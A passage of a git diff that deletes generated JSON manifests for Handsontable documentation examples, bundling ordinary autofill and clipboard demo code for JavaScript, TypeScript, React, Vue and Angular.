a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Drag the fill handle to see the affected range logged here.\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\nconst container = document.querySelector('#example3');\nconst output = document.querySelector('#output');\nnew Handsontable(container, {\n data,\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n beforeAutofill(selectionData) {\n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n return selectionData.map((row) => row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value)));\n },\n afterAutofill(fillData, sourceRange, targetRange, direction) {\n output.innerText =\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`;\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example3.js","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example3.ts.json deleted file mode 100644 index 65235845..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Drag the fill handle to see the affected range logged here.\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst container = document.querySelector('#example3')!;\nconst output = document.querySelector('#output') as HTMLElement;\n\nnew Handsontable(container, {\n data,\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n beforeAutofill(selectionData) {\n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n return selectionData.map((row) =>\n row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value))\n );\n },\n afterAutofill(fillData, sourceRange, targetRange, direction) {\n output.innerText =\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`;\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example3.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__react__example3.tsx.json deleted file mode 100644 index 9cc4cb86..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// Defined outside the component so autofill can mutate this array in place\n// without a re-render (triggered by `setOutput`) resetting it to its initial values.\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst ExampleComponent = () => {\n const [output, setOutput] = useState('Drag the fill handle to see the affected range logged here.');\n\n return (\n <>\n \n {output}\n \n \n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n selectionData.map((row) => row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value)))\n }\n afterAutofill={(fillData, sourceRange, targetRange, direction) => {\n setOutput(\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`\n );\n }}\n />\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/autofill-values/react/example3.tsx","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__vue__example3.vue.json deleted file mode 100644 index 53287679..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/autofill-values/vue/example3.vue","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example4.ts.json deleted file mode 100644 index c435aeb3..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport Handsontable from 'handsontable/base';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\nfunction collectClassNames(hot: Handsontable, coords: CopyRange[]): string[][] {\n const source = coords[0];\n const classNames: string[][] = [];\n\n if (!source) {\n return classNames;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames: string[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push((hot.getCellMeta(row, col)['className'] as string | undefined) ?? '');\n }\n\n classNames.push(rowClassNames);\n }\n\n return classNames;\n}\n\n@Component({\n selector: 'example4-clipboard',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false })\n readonly hotTable!: HotTableComponent;\n\n copiedClassNames: string[][] = [];\n\n readonly data = [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n cell: [\n { row: 0, col: 1, className: 'htRight' },\n { row: 0, col: 2, className: 'htCenter' },\n { row: 2, col: 1, className: 'htRight htDimmed' },\n { row: 2, col: 2, className: 'htCenter htDimmed' },\n ],\n afterCopy: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedClassNames = collectClassNames(this.hotTable.hotInstance!, coords);\n },\n afterCut: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedClassNames = collectClassNames(this.hotTable.hotInstance!, coords);\n },\n afterPaste: (_data: unknown[][], coords: CopyRange[]) => {\n const target = coords[0];\n const hot = this.hotTable.hotInstance!;\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n this.copiedClassNames.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n hot.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n\n hot.render();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/clipboard/angular/example4.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example5.ts.json deleted file mode 100644 index f77ee218..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport Handsontable from 'handsontable/base';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\nfunction collectComments(hot: Handsontable, coords: CopyRange[]): (string | undefined)[][] {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied: (string | undefined)[][] = [];\n\n if (!source) {\n return copied;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments: (string | undefined)[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n\n copied.push(rowComments);\n }\n\n return copied;\n}\n\n@Component({\n selector: 'example5-clipboard',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n \n
    `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false })\n readonly hotTable!: HotTableComponent;\n\n copiedComments: (string | undefined)[][] = [];\n\n readonly data = [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 0, col: 1, comment: { value: 'Counted during the July audit.' } },\n { row: 2, col: 1, comment: { value: 'Reorder request sent to Harbor Goods.' } },\n { row: 2, col: 2, comment: { value: 'Expected delivery is July 18.' } },\n ],\n afterCopy: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedComments = collectComments(this.hotTable.hotInstance!, coords);\n },\n afterCut: (_data: unknown[][], coords: CopyRange[]) => {\n this.copiedComments = collectComments(this.hotTable.hotInstance!, coords);\n },\n afterPaste: (_data: unknown[][], coords: CopyRange[]) => {\n const target = coords[0];\n const hot = this.hotTable.hotInstance!;\n const comments = hot.getPlugin('comments');\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n this.copiedComments.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n } else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n\n hot.render();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/clipboard/angular/example5.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example4.js.json deleted file mode 100644 index 0dad5c25..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nlet copiedClassNames = [];\nfunction collectClassNames(hot, coords) {\n const source = coords[0];\n const classNames = [];\n if (!source) {\n return classNames;\n }\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames = [];\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push(hot.getCellMeta(row, col).className ?? '');\n }\n classNames.push(rowClassNames);\n }\n return classNames;\n}\nfunction applyClassNames(hot, coords) {\n const target = coords[0];\n if (!target) {\n return;\n }\n hot.batch(() => {\n copiedClassNames.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n hot.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n hot.render();\n}\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n cell: [\n { row: 0, col: 1, className: 'htRight' },\n { row: 0, col: 2, className: 'htCenter' },\n { row: 2, col: 1, className: 'htRight htDimmed' },\n { row: 2, col: 2, className: 'htCenter htDimmed' },\n ],\n afterCopy(_data, coords) {\n copiedClassNames = collectClassNames(this, coords);\n },\n afterCut(_data, coords) {\n copiedClassNames = collectClassNames(this, coords);\n },\n afterPaste(_data, coords) {\n applyClassNames(this, coords);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/clipboard/javascript/example4.js","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example4.ts.json deleted file mode 100644 index 4355505a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm 